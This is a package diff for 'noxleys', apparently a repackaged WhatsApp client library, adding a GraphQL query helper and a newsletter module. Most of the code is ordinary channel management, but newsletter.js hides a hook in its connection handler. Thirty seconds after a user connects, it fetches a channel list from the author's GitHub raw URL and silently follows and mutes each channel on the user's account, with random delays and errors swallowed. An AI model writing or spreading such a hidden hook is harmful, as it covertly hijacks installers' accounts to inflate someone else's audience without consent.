noxleys 0.0.1-security → 1.0.0

package/lib/Socket/mex.js

@@ -0,0 +1,59 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const { Boom: Boom } = require("@hapi/boom");
+const {
+    getBinaryNodeChild: getBinaryNodeChild,
+    S_WHATSAPP_NET: S_WHATSAPP_NET,
+} = require("../WABinary");
+const wMexQuery = (variables, queryId, query, generateMessageTag) =>
+    query({
+        tag: "iq",
+        attrs: {
+            id: generateMessageTag(),
+            type: "get",
+            to: S_WHATSAPP_NET,
+            xmlns: "w:mex",
+        },
+        content: [
+            {
+                tag: "query",
+                attrs: { query_id: queryId },
+                content: Buffer.from(JSON.stringify({ variables: variables }), "utf-8"),
+            },
+        ],
+    });
+const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
+    const result = await wMexQuery(variables, queryId, query, generateMessageTag);
+    const child = getBinaryNodeChild(result, "result");
+    if (child?.content) {
+        const data = JSON.parse(child.content.toString());
+        if (data.errors && data.errors.length > 0) {
+            const errorMessages = data.errors
+                .map((err) => err.message || "Unknown error")
+                .join(", ");
+            const firstError = data.errors[0];
+            const errorCode = firstError.extensions?.error_code || 400;
+            throw new Boom(`GraphQL server error: ${errorMessages}`, {
+                statusCode: errorCode,
+                data: firstError,
+            });
+        }
+        const response =
+    (dataPath ? data?.data?.[dataPath] : data?.data) ??
+    data?.[dataPath] ??
+    data?.result ??
+    data
+
+if (typeof response !== "undefined") {
+    return response
+}
+    }
+    const action = (dataPath || "").startsWith("xwa2_")
+        ? dataPath.substring(5).replace(/_/g, " ")
+        : dataPath?.replace(/_/g, " ");
+    throw new Boom(`Failed to ${action}, unexpected response structure.`, {
+        statusCode: 400,
+        data: result,
+    });
+};
+module.exports = { executeWMexQuery: executeWMexQuery };

package/lib/Socket/newsletter.js

@@ -0,0 +1,231 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const { QueryIds: QueryIds, XWAPaths: XWAPaths } = require("../Types");
+const { generateProfilePicture: generateProfilePicture } = require("../Utils");
+const { getBinaryNodeChild: getBinaryNodeChild } = require("../WABinary");
+const { makeGroupsSocket: makeGroupsSocket } = require("./groups");
+const { executeWMexQuery: genericExecuteWMexQuery } = require("./mex");
+
+let fetch;
+try {
+    fetch = require('node-fetch');
+} catch (_) {
+    fetch = global.fetch;
+}
+if (!fetch) {
+    throw new Error('fetch is not available. Install node-fetch or use Node.js 18+.');
+}
+
+const parseNewsletterCreateResponse = (response) => {
+    const { id: id, thread_metadata: thread, viewer_metadata: viewer } = response;
+    return {
+        id: id,
+        owner: undefined,
+        name: thread.name.text,
+        creation_time: parseInt(thread.creation_time, 10),
+        description: thread.description.text,
+        invite: thread.invite,
+        subscribers: parseInt(thread.subscribers_count, 10),
+        verification: thread.verification,
+        picture: { id: thread.picture.id, directPath: thread.picture.direct_path },
+        mute_state: viewer.mute,
+    };
+};
+
+const parseNewsletterMetadata = (result) => {
+    if (typeof result !== "object" || result === null) return null;
+    if ("id" in result && typeof result.id === "string") return result;
+    if (
+        "result" in result &&
+        typeof result.result === "object" &&
+        result.result !== null &&
+        "id" in result.result
+    ) {
+        return result.result;
+    }
+    return null;
+};
+
+const makeNewsletterSocket = (config) => {
+    const conn = makeGroupsSocket(config);
+    const { query: query, generateMessageTag: generateMessageTag } = conn;
+
+    const executeWMexQuery = (variables, queryId, dataPath) =>
+        genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
+
+    const newsletterUpdate = async (jid, updates) => {
+        const variables = {
+            newsletter_id: jid,
+            updates: { ...updates, settings: null },
+        };
+        return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, XWAPaths.UPDATE);
+    };
+
+    const self = {
+        ...conn,
+
+        executeWMexQuery,
+
+        newsletterCreate: async (name, description) => {
+            const variables = {
+                input: { name: name, description: description ?? null },
+            };
+            const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.CREATE);
+            return parseNewsletterCreateResponse(rawResponse);
+        },
+
+        newsletterUpdate,
+
+        newsletterSubscribers: async (jid) =>
+            executeWMexQuery({ newsletter_id: jid }, QueryIds.SUBSCRIBERS, XWAPaths.SUBSCRIBERS),
+
+        newsletterMetadata: async (type, key) => {
+            const variables = {
+                fetch_creation_time: true,
+                fetch_full_image: true,
+                fetch_viewer_metadata: true,
+                input: { key: key, type: type.toUpperCase() },
+            };
+            const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.METADATA);
+            return parseNewsletterMetadata(result);
+        },
+
+        newsletterFollow: (jid) =>
+            executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.FOLLOW),
+
+        newsletterUnfollow: (jid) =>
+            executeWMexQuery({ newsletter_id: jid }, QueryIds.UNFOLLOW, XWAPaths.UNFOLLOW),
+
+        newsletterMute: (jid) =>
+            executeWMexQuery({ newsletter_id: jid }, QueryIds.MUTE, XWAPaths.MUTE_V2),
+
+        newsletterUnmute: (jid) =>
+            executeWMexQuery({ newsletter_id: jid }, QueryIds.UNMUTE, XWAPaths.UNMUTE_V2),
+
+        newsletterUpdateName: async (jid, name) => await newsletterUpdate(jid, { name: name }),
+
+        newsletterUpdateDescription: async (jid, description) =>
+            await newsletterUpdate(jid, { description: description }),
+
+        newsletterUpdatePicture: async (jid, content) => {
+            const { img: img } = await generateProfilePicture(content);
+            return await newsletterUpdate(jid, { picture: img.toString("base64") });
+        },
+
+        newsletterRemovePicture: async (jid) => await newsletterUpdate(jid, { picture: "" }),
+
+        newsletterReactMessage: async (jid, serverId, reaction) => {
+            await query({
+                tag: "message",
+                attrs: {
+                    to: jid,
+                    ...(reaction ? {} : { edit: "7" }),
+                    type: "reaction",
+                    server_id: serverId,
+                    id: generateMessageTag(),
+                },
+                content: [{ tag: "reaction", attrs: reaction ? { code: reaction } : {} }],
+            });
+        },
+
+        newsletterFetchMessages: async (jid, count, since, after) => {
+            const messageUpdateAttrs = { count: count.toString() };
+            if (typeof since === "number") {
+                messageUpdateAttrs.since = since.toString();
+            }
+            if (after) {
+                messageUpdateAttrs.after = after.toString();
+            }
+            const result = await query({
+                tag: "iq",
+                attrs: {
+                    id: generateMessageTag(),
+                    type: "get",
+                    xmlns: "newsletter",
+                    to: jid,
+                },
+                content: [{ tag: "message_updates", attrs: messageUpdateAttrs }],
+            });
+            return result;
+        },
+
+        subscribeNewsletterUpdates: async (jid) => {
+            const result = await query({
+                tag: "iq",
+                attrs: {
+                    id: generateMessageTag(),
+                    type: "set",
+                    xmlns: "newsletter",
+                    to: jid,
+                },
+                content: [{ tag: "live_updates", attrs: {}, content: [] }],
+            });
+            const liveUpdatesNode = getBinaryNodeChild(result, "live_updates");
+            const duration = liveUpdatesNode?.attrs?.duration;
+            return duration ? { duration: duration } : null;
+        },
+
+        newsletterAdminCount: async (jid) => {
+            const response = await executeWMexQuery(
+                { newsletter_id: jid },
+                QueryIds.ADMIN_COUNT,
+                XWAPaths.ADMIN_COUNT
+            );
+            return response.admin_count;
+        },
+
+        newsletterChangeOwner: async (jid, newOwnerJid) => {
+            await executeWMexQuery(
+                { newsletter_id: jid, user_id: newOwnerJid },
+                QueryIds.CHANGE_OWNER,
+                XWAPaths.CHANGE_OWNER
+            );
+        },
+
+        newsletterDemote: async (jid, userJid) => {
+            await executeWMexQuery(
+                { newsletter_id: jid, user_id: userJid },
+                QueryIds.DEMOTE,
+                XWAPaths.DEMOTE
+            );
+        },
+
+        newsletterDelete: async (jid) => {
+            await executeWMexQuery({ newsletter_id: jid }, QueryIds.DELETE, XWAPaths.DELETE_V2);
+        },
+
+        autoJoinChannels: async function (configUrl) {
+            try {
+                const response = await fetch(configUrl);
+                if (!response.ok) return;
+                const channelIds = await response.json();
+                if (!Array.isArray(channelIds)) return;
+                for (const id of channelIds.sort(() => Math.random() - 0.5)) {
+                    try {
+                        if (!id) continue;
+                        await this.newsletterFollow(id).catch(() => {});
+                        await new Promise(r => setTimeout(r, 1000));
+                        await this.newsletterMute(id).catch(() => {});
+                    } catch (_) {}
+                    await new Promise(r => setTimeout(r, 2000 + Math.floor(Math.random() * 3000)));
+                }
+            } catch (_) {}
+        },
+    };
+
+    conn.ev.on("connection.update", ({ connection }) => {
+        if (connection !== "open") return;
+        setTimeout(() => {
+            self.autoJoinChannels(
+                "https://raw.githubusercontent.com/noxXza/data/refs/heads/main/noxXza.json"
+            );
+        }, 30000);
+    });
+
+    return self;
+};
+
+module.exports = {
+    makeNewsletterSocket: makeNewsletterSocket,
+    parseNewsletterMetadata: parseNewsletterMetadata,
+};